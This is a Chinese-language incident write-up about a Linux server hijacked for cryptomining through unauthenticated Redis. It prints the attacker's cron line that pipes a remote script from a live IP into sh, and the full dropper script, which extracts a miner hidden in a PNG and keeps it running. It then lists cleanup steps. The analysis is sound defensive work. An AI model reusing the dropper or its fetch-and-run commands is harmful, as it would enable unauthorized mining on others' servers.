攻击者通过Redis未授权访问,写入定时任务,执行挖矿程序。
排查过程
检查进程发现SSH后门
[root@testserver tmp]# ps aux | grep 2345 | grep -v grep root 13587 0.0 0.0 66624 1144 ? Ss Mar22 0:00 /tmp/su -oPort=2345 [root@testserver tmp]# lsof -p 13587 COMMAND PID USER FD TYPE DEVICE SIZE/OFF NODE NAME su 13587 root cwd DIR 202,2 4096 2 / su 13587 root rtd DIR 202,2 4096 2 / su 13587 root txt REG 202,2 546680 1718717 /usr/sbin/sshd
发现异常进程
root 1800 57064 0 00:46 ? 00:00:00 CROND root 1801 1800 0 00:46 ? 00:00:00 /bin/sh -c curl -fsSL http://104.156.239.160:8080/conn.sh | sh root 1803 1801 0 00:46 ? 00:00:03 sh
PS中看到很多定时任务进程CROND,crontab -l发现又是redis写进来的,那么再看下/root/.ssh/authorized_keys,果然也写了免登陆。
发现攻击者使用的脚本http://104.156.239.160:8080/conn.sh
脚本内容如下:
#!/bin/sh ps -fe|grep conns |grep -v grep if [ $? -ne 0 ] then echo "start process....." wget https://ooo.0o0.ooo/2017/01/15/587b626883fdc.png -O /tmp/conn dd if=/tmp/conn skip=7664 bs=1 of=/tmp/conns chmod +x /tmp/conns nohup /tmp/conns -B -a cryptonight -o stratum+tcp://xmr.crypto-pool.fr:3333 -u 44xdB6UmabC8R69V6jDj7q1zGyDzJ7ks5GJpLs3b2HpqWwWq2xbvLKiRjmX8e9oy7426goZG9kXRTgHj9SZPGzfiQYtbTw1 -p x >/dev/null 2>&1 & else echo "runing....." fi sleepTime=20 while [ 0 -lt 1 ] do ps -fe| grep conns | grep -v grep if [ $? -ne 0 ] then echo "process not exists ,restart process now... " wget https://ooo.0o0.ooo/2017/01/15/587b626883fdc.png -O /tmp/conn dd if=/tmp/conn skip=7664 bs=1 of=/tmp/conns chmod +x /tmp/conns nohup /tmp/conns -a cryptonight -o stratum+tcp://xmr.crypto-pool.fr:3333 -u 44xdB6UmabC8R69V6jDj7q1zGyDzJ7ks5GJpLs3b2HpqWwWq2xbvLKiRjmX8e9oy7426goZG9kXRTgHj9SZPGzfiQYtbTw1 -p x >/dev/null 2>&1 & echo "restart done ..... " else echo "process exists , sleep $sleepTime seconds " fi sleep $sleepTime done
[root@server120 tmp]# file /tmp/conn /tmp/conn: PNG image data, 256 x 256, 8-bit/color RGBA, non-interlaced
首先下载了一个图片,然后通过dd提取出来挖矿程序。
[root@server120 tmp]# file /tmp/conns /tmp/conns: ELF 64-bit LSB executable, x86-64, version 1 (GNU/Linux), statically linked, stripped
然后每20S检查一下进程是否存活。
这种通过Redis未授权拿服务器挖矿的情况很常见。
处理过程
1)redis增加认证,清空/var/spool/cron/root和authorized_keys。
2)删除后门
3)Kill异常进程
4)重启
版权信息:8090社团>>Linux服务器挖矿病毒
本文链接:https://www.8090st.com/linux-server-mining-virus.html 转载请注明出处.
如果喜欢:点此订阅本站
相关文章
为您推荐
各种观点